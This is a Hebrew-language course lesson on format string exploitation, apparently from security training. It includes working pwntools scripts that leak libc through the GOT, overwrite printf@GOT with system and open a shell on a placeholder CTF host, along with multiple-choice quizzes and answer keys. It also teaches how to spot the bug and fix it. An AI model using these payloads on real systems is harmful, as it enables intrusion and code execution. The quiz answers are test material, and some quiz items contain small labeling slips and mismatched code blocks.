Format String Exploitation
Format String Exploitation — הנשק שמסתתר ב-printf
Format String Vulnerability היא אחת הוולנרביליטיס האלגנטיות ביותר בעולם הסייבר. שורה אחת של קוד — printf(user_input) — מספיקה כדי לקרוא ולכתוב לכל כתובת בזיכרון.
- כיצד printf קורא ארגומנטים מה-Stack — הבסיס של הניצול
- Stack Leak עם %x — חשיפת כתובות וערכי Stack
- Arbitrary Read עם %s — קריאה מכל כתובת בזיכרון
- Arbitrary Write עם %n — כתיבה לכל כתובת בזיכרון
- GOT Overwrite — החלפת printf ב-system לקבלת Shell
- pwntools fmtstr_payload — בניית Payload אוטומטית
- הבדלים בין 32bit ל-64bit בFormat String
- זיהוי Format String Bug ב-Assembly ו-Code Review
כיצד printf קורא ארגומנטים: הבסיס של הניצול
printf(fmt, arg1, arg2, ...) מצפה שהארגומנטים נמצאים ב-Stack (ב-32bit) מעל ה-Format String עצמו. כשנתינת Format String בידי תוקף, printf ממשיך לקרוא מה-Stack גם כשאין ארגומנטים — קורא ערכים שלא נועדו לו.
Format String Bug — שורה אחת שמשנה הכל
// ─── שימוש תקין ──────────────────────────────────────────
printf("%d %d", 10, 20);
// Stack ב-32bit (מה-ESP כלפי מעלה):
// [fmt="%d %d"] [arg1=10] [arg2=20]
// ESP ESP+4 ESP+8
// printf קורא arg1 מ-ESP+4, arg2 מ-ESP+8 → מדפיס '10 20'
// ─── Format String Bug ───────────────────────────────────
char buf[64];
fgets(buf, 64, stdin);
printf(buf); // 💥 BUG! buf הוא גם fmt וגם 'ארגומנט'
// תוקף שולח: "%x %x %x %x"
// printf מחפש 4 ints ב-Stack מעל fmt...
// Stack: [fmt=buf_addr] [saved_ret] [saved_ebp] [local_vars]...
// → מדפיס ערכי Stack! כתובות, canary, pointers — הכל נחשף!Format Specifiers ומה הם עושים
| Specifier | פעולה | שימוש ב-Exploit |
|---|---|---|
| %d | קרא int מה-Stack, הדפס כמספר | בסיסי |
| %x | קרא int מה-Stack, הדפס כHex | הנפוץ ביותר לStack Leak! |
| %s | קרא כתובת מה-Stack, הדפס String מאותה כתובת | Arbitrary Read |
| %p | קרא pointer מה-Stack, הדפס כ-0xHEXADDR | Leak כתובות |
| %n | קרא כתובת מה-Stack, כתוב לתוכה מספר תווים שהודפסו | Arbitrary Write! |
| %5$x | קרא ישירות את הארגומנט ה-5 | Direct Parameter Access |
[&buf (ה-fmt string)] ← ESP
[ערך 1 ב-Stack] ← %x הראשון יקרא מכאן
[ערך 2 ב-Stack] ← %x השני
...
[buf עצמו בזיכרון] ← בשלב מסוים printf מגיע לbuf עצמו!זה מאפשר לתוקף להכניס כתובת בתוך buf, ואז לגשת אליה עם %s או %n
printf(user_input) מסוכן, אך printf("%s", user_input) בטוח?%3$x?Arbitrary Read: קריאה מכל כתובת בזיכרון
לאחר שמבינים את מנגנון ה-Stack Leak, ניתן לקרוא מכל כתובת בזיכרון. הצעד הראשון הוא למצוא את ה-Offset — מה מספר הפרמטר שב-Stack מכיל את ה-buf עצמו.
שלב 1: Stack Leak עם %x
# שלח: %x.%x.%x.%x.%x.%x.%x.%x
# קבל: f7e4d380.ffffd4b0.0.1.ffffd4c8.8048765.41414141.25782e78
# ^libc ptr ^stack ^ ^argc ^envp ^ret ^buf ^fmt
# ─── מציאת Offset של buf ──────────────────────────────────
from pwn import *
conn = remote('ctf.example.com', 1337)
# גלה איזה פרמטר מכיל את ה-buf עצמו:
for i in range(1, 20):
conn.sendline(('AAAA.%' + str(i) + '$x').encode())
leak = conn.recvline()
if b'41414141' in leak: # 'AAAA' בHex
print(f'buf is at param {i}!')
break
# נניח: buf ב-param 7שלב 2: Arbitrary Read עם %s
כשגילינו ש-buf נמצא ב-Parameter N, ניתן לקרוא מכל כתובת: שמים את הכתובת בתחילת buf, ואז %N$s מבצע Dereference וקורא String מהכתובת הזו.
# ─── Arbitrary Read: קרא מכתובת ספציפית ─────────────────────
# נניח: buf נמצא ב-Parameter 7
# מבנה Payload: [כתובת לקריאה (4 bytes)] + [%7$s]
target_addr = 0x0804c00c # GOT entry של puts (מכיל כתובת puts בlibc)
payload = p32(target_addr) + b'%7$s'
# Breakdown:
# bytes[0..3] = כתובת target (נמצאת ב-Stack ב-Parameter 7)
# bytes[4..8] = '%7$s' — printf קורא param 7 (=target_addr) כ-Pointer
# ומדפיס String מהכתובת הזו!
conn.sendline(payload)
response = conn.recv(4) # 4 bytes = כתובת puts בlibc
puts_addr = u32(response)
print(f'puts @ {hex(puts_addr)}')
# ─── כעת חשב libc base ───────────────────────────────────────
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
print(f'system @ {hex(system_addr)}')! NULL bytes בכתובת — מלכודת נפוצה ›
ב-32bit: כתובות כמו 0x0804c00c — בסדר (אין NULL). כתובות כמו 0x08049f00 — מכילות \x00! printf נעצר!
ב-64bit: כתובות מכילות תמיד \x00 ב-bytes 5-8 → דורש טכניקה אחרת — שים כתובות בסוף הPayload אחרי כל ה-format specifiers.
AAAA.%1$x.%2$x.%3$x.%4$x.%5$x וקיבלנו: AAAA.f7e4d380.ffffd4c8.1.41414141.25782e78. מה ה-Offset של buf?// Stack params (32bit):
// param 1: 0xf7e4d380
// param 2: 0x0804c00c ← GOT entry (מכיל כתובת libc)
// param 3: 0x41424344
// Input: "%2$s"מה יקרה?Arbitrary Write עם %n: כתיבה לכל כתובת
%n הוא ה-Specifier המסוכן ביותר. הוא לא מדפיס — הוא כותב לזיכרון: "כמה תווים הודפסו עד כאן" לכתובת שמחזיק הפרמטר. זה Arbitrary Write — כתיבה לכל כתובת!
כיצד %n עובד
// ─── כיצד %n עובד ───────────────────────────────────────────
int written;
printf("Hello%n", &written);
// printf מדפיס 'Hello' (5 תווים)
// %n כותב 5 ל-written
// written = 5
// ─── %n variants ─────────────────────────────────────────────
// %n → כותב int (4 bytes)
// %hn → כותב short (2 bytes) — נפוץ בExploit!
// %hhn → כותב byte אחד (1 byte) — הכי נפוץ!
// %lln → כותב long long (8 bytes)
// ─── שליטה על הערך הנכתב ────────────────────────────────────
// מספר התווים שהודפסו = הערך שייכתב
// הדרך לשלוט: padding! %Nd מדפיס N תווים
// דוגמה: כתוב 0x41 (65) לכתובת target_addr
// printf("%65c%n", ' ', &target) → כותב 65 ל-targetGOT Overwrite עם pwntools
# ─── GOT Overwrite עם pwntools fmtstr_payload ───────────────
from pwn import *
elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# ─── שלב 1: Leak libc (כמו בפרק 2) ─────────────────────────
# ... (leak puts → calc libc_base) ...
libc_base = 0xf7d00000 # לדוגמה
system_addr = libc_base + libc.symbols['system']
# ─── שלב 2: GOT Overwrite ────────────────────────────────────
printf_got = elf.got['printf'] # כתובת GOT entry של printf
print(f'printf@GOT = {hex(printf_got)}')
# pwntools: בנה Format String שכותב system_addr ל-printf_got
param_offset = 7 # buf ב-Parameter 7
payload = fmtstr_payload(
param_offset,
{printf_got: system_addr}, # כתוב system_addr ל-printf@GOT
write_size='short' # כתוב ב-2 bytes בכל פעם (%hn)
)
conn.sendline(payload)
conn.recvline() # תגובה
# ─── שלב 3: Trigger ──────────────────────────────────────────
# עכשיו printf בGOT → system()
# שלח '/bin/sh' כInput → printf('/bin/sh') = system('/bin/sh')!
conn.sendline(b'/bin/sh')
conn.interactive() # ← Shell!- חישוב ידני של %n payloads הוא מורכב מאוד. pwntools עושה את זה אוטומטית
- fmtstr_payload(offset, {addr: val}, write_size='byte')
- offset = מספר הפרמטר שבו buf מופיע ב-Stack
- {addr: val} = מילון כתיבות: כתוב val לaddr
- write_size: 'byte'=1B, 'short'=2B, 'int'=4B (קטן יותר = Payload ארוך יותר)
- תמיד בדוק ב-GDB שהPayload עובד לפני שליחה לRemote!
printf("AAAA%n", &x)?זיהוי Format String Bug ב-Assembly ו-Code Review
במיוני גאמא תצטרך לזהות Format String Bug בקוד Assembly ולדעת אילו פונקציות פגיעות. הכלים: IDA, Ghidra, ובדיקת מנואלית של קריאות printf.
זיהוי ב-Assembly (32bit)
; ─── קוד פגיע ───────────────────────────────────────────────
lea eax, [ebp-64] ; eax = buf (user input)
push eax ; arg1 = buf (גם format וגם data!)
call printf ; printf(buf) ← BUG!
add esp, 4
; ─── קוד בטוח ───────────────────────────────────────────────
lea eax, [ebp-64] ; eax = buf
push eax ; arg2 = buf
push offset aS ; arg1 = "%s" (format קבוע!)
call printf ; printf("%s", buf) ← SAFE
add esp, 8
; ─── סימנים בIDA/Ghidra ──────────────────────────────────────
; 1. CALL printf / CALL fprintf / CALL sprintf
; 2. הארגומנט הראשון (top of Stack ב-32bit) = משתנה מקומי/Global
; ולא String Literal ב-.rodata
; 3. אין ארגומנטים נוספים אחרי הformat
; 4. בIDA: 'printf(s)' כשs הוא user-controlled = BUGפונקציות פגיעות לעומת בטוחות
| פונקציה | פגיע? | דוגמה פגיעה | דוגמה בטוחה |
|---|---|---|---|
| printf | ✅ כן | printf(user_input) | printf("%s", user_input) |
| fprintf | ✅ כן | fprintf(f, user_input) | fprintf(f, "%s", user_input) |
| sprintf | ✅ כן | sprintf(buf, user_input) | snprintf(buf, n, "%s", user_input) |
| syslog | ✅ כן | syslog(LOG_INFO, user_input) | syslog(LOG_INFO, "%s", user_input) |
| puts | ❌ לא | puts(user_input) — בטוח! | — |
| write | ❌ לא | write(1, user_input, n) — בטוח! | — |
lea eax, [ebp-128]
push eax
call printf
add esp, 4האם קוד זה פגיע? מדוע?// Stack ב-32bit (params):
// param 1: 0xffffd400
// param 2: 0x08048765
// param 3: 0xf7e4d380 ← libc addr
// param 4: 0x0804c00c ← GOT entry
// param 5: 0x41424344 ← buf start
// Input: "%5$x----%3$x----%4$x"מה הפלט?Format String ב-64bit: הבדלים חשובים
ב-64bit, printf מקבל את 6 הארגומנטים הראשונים ב-Registers (rdi, rsi, rdx, rcx, r8, r9) ורק אחר כך מה-Stack. זה משנה את ה-Offset לbuf ויוצר אתגרים בגלל NULL bytes.
# ─── הבדלים 32bit לעומת 64bit ──────────────────────────────
# ב-32bit:
# printf(fmt, a1, a2, a3) → כולם ב-Stack
# %1$x = a1 מ-Stack, %2$x = a2, וכן הלאה
# buf הוא ב-Stack → param offset = N (לרוב 7-12)
# ב-64bit:
# printf(fmt, a1, a2, a3, a4, a5, a6, a7, ...)
# rdi=fmt, rsi=a1, rdx=a2, rcx=a3, r8=a4, r9=a5
# Stack: a6, a7, ...
# %1$x = rsi, %2$x = rdx, %3$x = rcx, %4$x = r8, %5$x = r9
# %6$x = Stack[0], %7$x = Stack[1], ...
# buf הוא לרוב ב-Stack → offset = 6 + N
# ─── מציאת offset ב-64bit ────────────────────────────────────
# שלח: AAAAAAAA.%1$p.%2$p...%15$p
# חפש 0x4141414141414141 בפלט (8 'A' = 64bit word)
for i in range(1, 20):
conn.sendline(f'AAAAAAAA.%{i}$p'.encode())
leak = conn.recvline()
if b'0x4141414141414141' in leak:
print(f'buf at param {i}')
break
# ─── NULL bytes בכתובות 64bit ────────────────────────────────
# כתובת 64bit: 0x00007ffff7e4d380 ← תמיד 2 bytes NULL!
# %s עוצר ב-NULL → לא ניתן לשים כתובת ב-bytes הראשונים!
# פתרון: שים כתובות בסוף הPayload (אחרי כל ה-format specifiers)
# payload = format_string + padding + addressesExploit מלא: Format String → Shell
זהו ה-Exploit המלא — כל השלבים ביחד. קרא, הבן, ונסה לכתוב דומה לבד.
# ─── Exploit מלא: Format String → Shell ──────────────────────
from pwn import *
elf = ELF('./vuln32')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def send_fmt(payload):
conn = remote('ctf.example.com', 1337)
conn.recvuntil(b'Input: ')
conn.sendline(payload)
return conn.recvline()
# ─── שלב 1: מצא Offset של buf ───────────────────────────────
# (בהנחה שכבר מצאנו offset=7)
param_offset = 7
# ─── שלב 2: Leak כתובת libc דרך GOT ────────────────────────
puts_got = elf.got['puts']
payload_leak = p32(puts_got) + b'%7$s'
response = send_fmt(payload_leak)
puts_addr = u32(response[:4])
libc_base = puts_addr - libc.symbols['puts']
print(f'libc base: {hex(libc_base)}')
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# ─── שלב 3: GOT Overwrite ────────────────────────────────────
printf_got = elf.got['printf']
payload_write = fmtstr_payload(
param_offset,
{printf_got: system_addr},
write_size='short'
)
conn = remote('ctf.example.com', 1337)
conn.recvuntil(b'Input: ')
conn.sendline(payload_write)
conn.recvuntil(b'Input: ') # עוד סיבוב
# ─── שלב 4: Trigger ──────────────────────────────────────────
# printf בGOT → system() עכשיו
conn.sendline(b'/bin/sh')
conn.interactive() # Shell!- printf(user_input) = Format String Bug: printf קורא מה-Stack ללא בדיקה
- %x → הדפס int מה-Stack כHex. %p → הדפס Pointer. %s → Dereference + הדפס String (Arbitrary Read!)
- %n → כתוב לכתובת ב-Stack! מספר תווים שהודפסו = Arbitrary Write
- %N$x → קרא ישירות פרמטר N (Direct Parameter Access) — יעיל לExploit
- Stack Leak: %x.%x.%x... → חשוף כתובות Stack, Canary, libc pointers
- Arbitrary Read: p32(target) + '%N$s' → קרא מtarget ישירות
- GOT Overwrite: כתוב system() ל-GOT של printf → Trigger בקריאה הבאה
- pwntools: fmtstr_payload(offset, {addr: val}) → בנה Payload אוטומטית
- 64bit: 6 args ב-Registers → Stack מתחיל ב-param 7. NULL bytes בכתובות = בעיה
- בAssembly: CALL printf עם arg=משתנה (לא String Literal) = BUG!
// 32bit, buf at param 6
// Stack params:
// param 6: 0x41414141 ← buf
// Sent: p32(0x0804c020) + "%6$s"
// 0x0804c020 = GOT entry of puts
// puts is at libc+0x67360מה מטרת הPayload הזה?from pwn import *
elf = ELF('./chall')
# puts@GOT = 0x0804c010
# system@libc = 0xf7c4a380
# buf at param 7
payload = fmtstr_payload(7, {0x0804c010: 0xf7c4a380}, write_size='short')
# שלב הבא אחרי שליחת payload?מה עליך לשלוח אחר כך לקבלת Shell?// 32bit program, Stack layout כש-printf(buf) רץ:
// param 1: 0xffffd400
// param 2: 0x08048700
// param 3: 0x00000000
// param 4: 0xf7e4d380 ← libc addr (puts)
// param 5: 0x0804c010 ← GOT puts
// param 6: [buf start] = 0x25783624 ← '%x6$' = תחילת fmt
// Input שנשלח: AAAA%4$x
// (כלומר buf = 'AAAA' + '%4$x')מה הפלט?תרגול נוסף — מתקפות Web: XSS, SQLi ו-CSRF
שאלות העשרה נוספות לחיזוק החומר של השיעור — באותו פורמט בחירה של הקורס.
Reflected XSS ל-Stored XSS?' OR 1=1 LIMIT 1--?CSRF Token ואיך הוא מגן?אתגר מעשי — Format String — זיהוי וסיווג
שיא השיעור: להבין את הפגיעות, לזהות אותה בקוד ובבינארי, ולהקשיח מולה. ההגשה נבדקת אוטומטית מול בינאריים אמיתיים.
שאלות תרגול ותשובות (21)
שאלה 1.1 — הבסיס · מדוע printf(user_input) מסוכן, אך printf("%s", user_input) בטוח?
printf(user_input)
- א. בגרסה השנייה "%s" פשוט מהיר יותר לעיבוד עבור המהדר וה-CPU
- ב. אין ביניהן שום הבדל מעשי, ושתי הצורות שקולות זו לזו לגמרי
- ג. בגרסה הראשונה הקלט מתפרש כ-Format String ויכול להכיל %x/%n
- ד. ההבדל נובע אך ורק מ-Buffer Overflow ולא מפירוש ה-Format String
✓ תשובה: ג) — printf(buf): buf הוא גם format וגם "ארגומנטים". תוקף שולח "%x%x%x" → printf קורא מה-Stack. printf("%s",buf): "%s" קבוע, buf רק נתון — לא מפורש כformat.
שאלה 1.2 — Specifiers · מה ההבדל בין %x לבין %s בהקשר של Format String Exploit?
- א. %x מדפיס מחרוזות מהזיכרון בעוד %s מדפיס מספרים שלמים מה-Stack
- ב. %x קורא int מה-Stack ומדפיסו; %s קורא כתובת ומפענח ממנה מחרוזת
- ג. %x ו-%s זהים לגמרי, ושניהם פשוט קוראים ערך יחיד מתוך ה-Stack
- ד. %s כותב ערך לתוך הזיכרון בעוד %x רק קורא ממנו ומדפיס אותו כהקס
✓ תשובה: ב) — %x: קרא 4 bytes מה-Stack, הדפס כHex. %s: קרא 4 bytes מה-Stack כ-Pointer, עקוב אחריו, הדפס String מהכתובת הזו. %s = Dereference!
שאלה 1.3 — Direct Parameter Access · מה יעשה הformat string הבא: %3$x?
%3$x
- א. מדפיס בדיוק שלושה תווים בייצוג הקסדצימלי מראש ה-Stack הנוכחי
- ב. מדפיס שלושה ערכים רצופים מה-Stack זה אחר זה בפורמט הקסדצימלי
- ג. נותן שגיאת תחביר, מכיוון שאין תמיכה בסימן $ בתוך Format String
- ד. Direct Parameter Access: מדפיס את הפרמטר ה-3 ישירות ללא הקודמים
✓ תשובה: ד) — %N$x קורא ישירות פרמטר N. %3$x = קרא פרמטר 3, הדפס כHex. יעיל מאוד ב-Exploit! לא צריך להדפיס %x%x%x — פשוט %3$x.
שאלה 2.1 — Arbitrary Read · אם buf נמצא ב-Parameter 7 ורוצים לקרוא מהכתובת 0x0804c010, מה יהיה הPayload הנכון?
- א. b'%7$x' + p32(0x0804c010): הדפסת הערך תחילה ואז הכתובת אחריה
- ב. b'%7$s' + p32(0x0804c010): המפרט תחילה והכתובת אחריו בסוף הקלט
- ג. p32(0x0804c010) + b'%7$n': כתיבה אל הכתובת במקום קריאה ממנה
- ד. p32(0x0804c010) + b'%7$s': הכתובת תחילה ואז קריאת מחרוזת ממנה
✓ תשובה: ד) p32(0x0804c010) + b'%7$s' — הכתובת חייבת להיות ב-4 bytes הראשונים (→ ב-param 7). %7$s קורא param 7 כ-Pointer ועוקב אחריו. שים כתובת קודם, format אחר כך.
שאלה 2.2 — Offset Finding · שלחנו AAAA.%1$x.%2$x.%3$x.%4$x.%5$x וקיבלנו: AAAA.f7e4d380.ffffd4c8.1.41414141.25782e78. מה ה-Offset של buf?
AAAA.%1$x.%2$x.%3$x.%4$x.%5$x
- א. param 4: הערך 0x41414141 הוא 'AAAA' בהקס, כלומר תחילת ה-buf
- ב. param 3: הערך במקום השלישי הוא זה שמכיל את תחילת ה-buffer שנשלח
- ג. param 5: הערך במקום החמישי הוא זה שמכיל את תחילת ה-buffer שנשלח
- ד. param 3, כיוון שהערך שם שווה ל-0x00000001 שהוא ראש הקלט שנשלח
✓ תשובה: א) param 4 — 0x41414141 = 'AAAA' = תחילת buf. param 1,2,3 = Stack values אחרים. param 4 = ה-buf עצמו. כעת payload = p32(target) + b'%4$s'.
שאלה 2.3 — Dry Run · // Stack params (32bit): // param 1: 0xf7e4d380 // param 2: 0x0804c00c ← GOT entry (מכיל כתובת libc) // param 3: 0x41424344 // Input: "%2$s"מה יקרה?
// Stack params (32bit): // param 1: 0xf7e4d380 // param 2: 0x0804c00c ← GOT entry (מכיל כתובת libc) // param 3: 0x41424344 // Input: "%2$s"
- א. מדפיס את המחרוזת "0x0804c00c" עצמה כטקסט רגיל על המסך למשתמש
- ב. גורם ל-Segfault מיידי, כיוון שהכתובת אינה חוקית לקריאה בזיכרון
- ג. מדפיס את הערך 0x0804c00c בייצוג הקסדצימלי בלבד, ללא כל פענוח
- ד. מדפיס מחרוזת מהכתובת 0x0804c00c, קורא את ה-GOT ומגלה כתובת libc
✓ תשובה: ד) — %2$s: קרא param 2 = 0x0804c00c. פרש אותו כ-Pointer. הדפס String מ-0x0804c00c. ה-GOT entry מכיל כתובת puts בlibc → נחשפת! זה Arbitrary Read.
שאלה 3.1 — %n · מה יקרה לאחר ביצוע: printf("AAAA%n", &x)?
printf("AAAA%n", &x)- א. הערך x יהיה 4: מספר התווים שהודפסו לפני ה-%n (כלומר "AAAA")
- ב. הערך x יהיה 0, מכיוון שהמפרט %n תמיד כותב את הערך NULL אל היעד
- ג. הפעולה תגרום ל-Segfault מיידי בשל גישה לא חוקית אל תוך הזיכרון
- ד. הערך x יכיל את הכתובת שבה יושבת המחרוזת "AAAA" בתוך הזיכרון
✓ תשובה: א) x = 4 — %n כותב מספר התווים שהודפסו עד כאן. "AAAA" = 4 תווים → כותב 4 לכתובת &x. זה כיצד שולטים בערך הנכתב: padding לפני %n.
שאלה 3.2 — %hn vs %hhn · מדוע מעדיפים %hn (2 bytes) או %hhn (1 byte) על פני %n (4 bytes) בExploit?
- א. המפרט %n פשוט אינו נתמך כלל במערכת ההפעלה Linux המודרנית כיום
- ב. המפרט %hn פשוט רץ מהר יותר ולכן עדיף עליו בכל תרחיש ניצול שהוא
- ג. כתיבת ערך גדול עם %n דורשת מיליארדי תווים; %hn/%hhn בחתיכות קטנות
- ד. המפרט %n כבר אינו קיים בתקן של שפת C המודרנית, ולכן נמנעים ממנו
✓ תשובה: ג) — לכתוב 0x08048765 עם %n צריך להדפיס 134,514,533 תווים — בלתי אפשרי! %hn כותב 2 bytes בכל פעם: כותב 0x8765 ואז 0x0804 → סה"כ 4 bytes, עם מספרי padding סבירים.
שאלה 3.3 — GOT Overwrite · מה המטרה של GOT Overwrite בFormat String Exploit?
; ─── קוד פגיע ───────────────────────────────────────────────
lea eax, [ebp-64] ; eax = buf (user input)
push eax ; arg1 = buf (גם format וגם data!)
call printf ; printf(buf) ← BUG!
add esp, 4
; ─── קוד בטוח ───────────────────────────────────────────────
lea eax, [ebp-64] ; eax = buf
push eax ; arg2 = buf
push offset aS ; arg1 = "%s" (format קבוע!)
call printf ; printf("%s", buf) ← SAFE
add esp, 8
; ─── סימנים בIDA/Ghidra ──────────────────────────────────────
; 1. CALL printf / CALL fprintf / CALL sprintf
; 2. הארגומנט הראשון (top of Stack ב-32bit) = משתנה מקומי/Global
; ולא String Literal ב-.rodata
; 3. אין ארגומנטים נוספים אחרי הformat
; 4. בIDA: 'printf(s)' כשs הוא user-controlled = BUG- א. לקרוא את כתובת ה-GOT בלבד כדי לחשב ממנה את בסיס ספריית libc
- ב. למחוק לחלוטין את טבלת ה-GOT כדי לשבש את פעולת התוכנית כולה
- ג. לכתוב את כתובת system() ל-GOT של printf, כך שהקריאה הבאה תפעילו
- ד. לעקוף את מנגנון ה-ASLR בלבד, בלי לבצע שום כתיבה אל תוך הזיכרון
✓ תשובה: ג) — GOT = Global Offset Table: טבלה שמחזיקה כתובות libc בזמן ריצה. GOT entry של printf מצביע ל-printf@libc. אחרי Overwrite → מצביע ל-system(). קריאה הבאה: printf('/bin/sh') = system('/bin/sh') = Shell!
שאלה 4.1 — זיהוי Assembly · lea eax, [ebp-128] push eax call printf add esp, 4האם קוד זה פגיע? מדוע?
lea eax, [ebp-128] push eax call printf add esp, 4
- א. לא, מכיוון שדחיפה של ארגומנט בודד בלבד אל ה-Stack היא תמיד בטוחה
- ב. כן: רק ארגומנט אחד (buf) נדחף לפני printf, וזהו printf(buf) הקלאסי
- ג. לא ניתן לקבוע זאת כלל ללא ראיית קוד ה-C המקורי של הפונקציה הזו
- ד. פגיע רק בתנאי שגודל ה-buffer שנקרא לתוכו גדול מ-128 בתים בפועל
✓ תשובה: ב) כן, פגיע — push eax אחד בלבד לפני call printf → arg1 = buf = format string. קוד בטוח היה: push eax (buf) → push offset aS ("%s") → call printf. כלל: push אחד + call printf = חשוד!
שאלה 4.2 — Code Review · איזו מהשורות הבאות פגיעה לFormat String?
- א. printf("%s: %d", name, age): הפורמט קבוע והמשתנים הם רק נתונים
- ב. puts(user_msg): הפונקציה puts אינה מפרשת כלל מפרטי Format String
- ג. syslog(LOG_ERR, user_msg): הקלט משמש ישירות כ-Format String
- ד. write(1, user_msg, len): כתיבה גולמית של בתים בלבד ללא כל פירוש
✓ תשובה: ג) syslog(LOG_ERR, user_msg) — syslog מקבל format string כארגומנט שני. user_msg כ-format → Format String Bug! א) בטוח — format קבוע עם %s. ב) puts לא מפרש format. ג) write לא מפרש format.
שאלה 4.3 — Dry Run: ניתוח Payload · // Stack ב-32bit (params): // param 1: 0xffffd400 // param 2: 0x08048765 // param 3: 0xf7e4d380 ← libc addr // param 4: 0x0804c00c ← GOT entry // param 5: 0x41424344 ← buf start // Input: "%5$x----%3$x----%4$x"מה הפלט?
// Stack ב-32bit (params): // param 1: 0xffffd400 // param 2: 0x08048765 // param 3: 0xf7e4d380 ← libc addr // param 4: 0x0804c00c ← GOT entry // param 5: 0x41424344 ← buf start // Input: "%5$x----%3$x----%4$x"
- א. 41424344----08048765----0804c00c: param 5, אחר-כך 2 ואז 4
- ב. ffffd400----f7e4d380----804c00c: param 1, אחר-כך 3 ואז 4
- ג. שגיאה, מכיוון שגישה ישירה (Direct Access) אינה נתמכת כאן כלל
- ד. 41424344----f7e4d380----804c00c: param 5, אחר-כך 3 ואז 4
✓ תשובה: ד) 41424344----f7e4d380----804c00c — %5$x → param 5 = 0x41424344. %3$x → param 3 = 0xf7e4d380. %4$x → param 4 = 0x0804c00c (ללא leading zero כי %x). שים לב: 0x0804c00c → 804c00c.
שאלה 5.1 — 64bit vs 32bit · ב-32bit buf נמצא ב-param 7. מה ה-param הצפוי ב-64bit לbuf באותו מיקום ב-Stack?
- א. param 7, בדיוק כמו ב-32bit, שכן מבנה ה-Stack אינו משתנה כלל כאן
- ב. param 1, מכיוון שבסביבת 64-bit כל הארגומנטים עוברים ברגיסטרים
- ג. param 3, לפי חישוב קבוע של שני מקומות פחות מן המיקום ב-32-bit
- ד. param 12: ב-64bit חמשת ה-varargs הראשונים ברגיסטרים, ומכאן ההיסט
✓ תשובה: ד) — RDI מחזיק את ה-format string (לא param!). ה-varargs: %1$x=rsi, %2$x=rdx, %3$x=rcx, %4$x=r8, %5$x=r9, %6$x=Stack[0]. buf שהיה ב-32bit param 7 = Stack[6]; ב-64bit Stack[6]=param 12. כלל אצבע: 64bit param = 32bit param + 5. בפועל מאמתים עם 0x4141414141414141.
שאלה 5.2 — NULL bytes · מדוע NULL bytes בכתובות 64bit הם בעיה עבור Format String Exploit?
- א. כתובת 64-bit מכילה NULL בבתים 5-8, ו-printf נעצר בהם לפני ה-%s
- ב. מפני שמחשבי 64-bit פשוט אינם תומכים כלל ב-NULL bytes בתוך הזיכרון
- ג. מפני ש-fgets קורא עד ל-NULL byte הראשון בלבד ואז עוצר את הקריאה
- ד. אין כאן שום בעיה, שכן pwntools מטפל בכל הנושא הזה באופן אוטומטי
✓ תשובה: א) — כתובת כמו 0x00007ffff7e4d380 מכילה \x00\x00 בתחילה (BE). כ-Little Endian: \x80\xd3\xe4\xf7\xff\x7f\x00\x00 — שני NULL bytes בסוף. printf נעצר שם. פתרון: שים כתובות אחרי כל ה-format specifiers בPayload.
שאלה 5.3 — Flow מלא · מה הסדר הנכון של שלבי Format String Exploit?
# ─── Exploit מלא: Format String → Shell ──────────────────────
from pwn import *
elf = ELF('./vuln32')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
def send_fmt(payload):
conn = remote('ctf.example.com', 1337)
conn.recvuntil(b'Input: ')
conn.sendline(payload)
return conn.recvline()
# ─── שלב 1: מצא Offset של buf ───────────────────────────────
# (בהנחה שכבר מצאנו offset=7)
param_offset = 7
# ─── שלב 2: Leak כתובת libc דרך GOT ────────────────────────
puts_got = elf.got['puts']
payload_leak = p32(puts_got) + b'%7$s'
response = send_fmt(payload_leak)
puts_addr = u32(response[:4])
libc_base = puts_addr - libc.symbols['puts']
print(f'libc base: {hex(libc_base)}')
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
# ─── שלב 3: GOT Overwrite ────────────────────────────────────
printf_got = elf.got['printf']
payload_write = fmtstr_payload(
param_offset,
{printf_got: system_addr},
write_size='short'
)
conn = remote('ctf.example.com', 1337)
conn.recvuntil(b'Input: ')
conn.sendline(payload_write)
conn.recvuntil(b'Input: ') # עוד סיבוב
# ─── שלב 4: Trigger ──────────────────────────────────────────
# printf בGOT → system() עכשיו
conn.sendline(b'/bin/sh')
conn.interactive() # Shell!- א. בצע GOT Overwrite תחילה, אחריו Leak של הכתובת, ואז קבל Shell
- ב. זהה Bug ← מצא Offset ← Leak כתובת libc ← חשב system ← GOT Overwrite
- ג. בצע Buffer Overflow תחילה, אחריו Format String, ואז קבל Shell
- ד. בצע Leak של כתובת ואז קבל Shell מיד, ללא צורך בכל שלב של כתיבה
✓ תשובה: ב) — הFlow המלא: Bug → Offset → Leak libc → libc_base → GOT Overwrite → Trigger. אי אפשר לדלג על Leak כי ASLR משנה כתובות. אי אפשר לדלג על Offset כי צריך לדעת איפה buf ב-Stack.
גאמא סגנון א׳ · // 32bit, buf at param 6 // Stack params: // param 6: 0x41414141 ← buf // Sent: p32(0x0804c020) + "%6$s" // 0x0804c020 = GOT entry of puts // puts is at libc+0x67360מה מטרת הPayload הזה?
// 32bit, buf at param 6 // Stack params: // param 6: 0x41414141 ← buf // Sent: p32(0x0804c020) + "%6$s" // 0x0804c020 = GOT entry of puts // puts is at libc+0x67360
- א. Arbitrary Read: קריאת כתובת puts מה-GOT לצורך חישוב libc_base
- ב. כתיבה אל ה-GOT של הפונקציה puts כדי לשנות את יעד הקריאה שלה
- ג. דליפת ערך מה-Stack שנמצא במקום param 6 בלבד, בלי כל גישה ל-GOT
- ד. שליחת מתקפת Buffer Overflow אל תוך ה-buffer שנמצא ב-param 6
✓ תשובה: א) — p32(0x0804c020) ב-param 6. %6$s: דרף param 6 כ-Pointer → קרא String מ-0x0804c020. GOT entry מכיל כתובת puts@libc. מהכתובת: libc_base = puts_addr - libc_puts_offset. ASLR נפרץ!
גאמא סגנון ב׳ · from pwn import * elf = ELF('./chall') # puts@GOT = 0x0804c010 # system@libc = 0xf7c4a380 # buf at param 7 payload = fmtstr_payload(7, {0x0804c010: 0xf7c4a380}, write_size='short') # שלב הבא אחרי שליחת payload?מה עליך לשלוח אחר כך לקבלת Shell?
from pwn import *
elf = ELF('./chall')
# puts@GOT = 0x0804c010
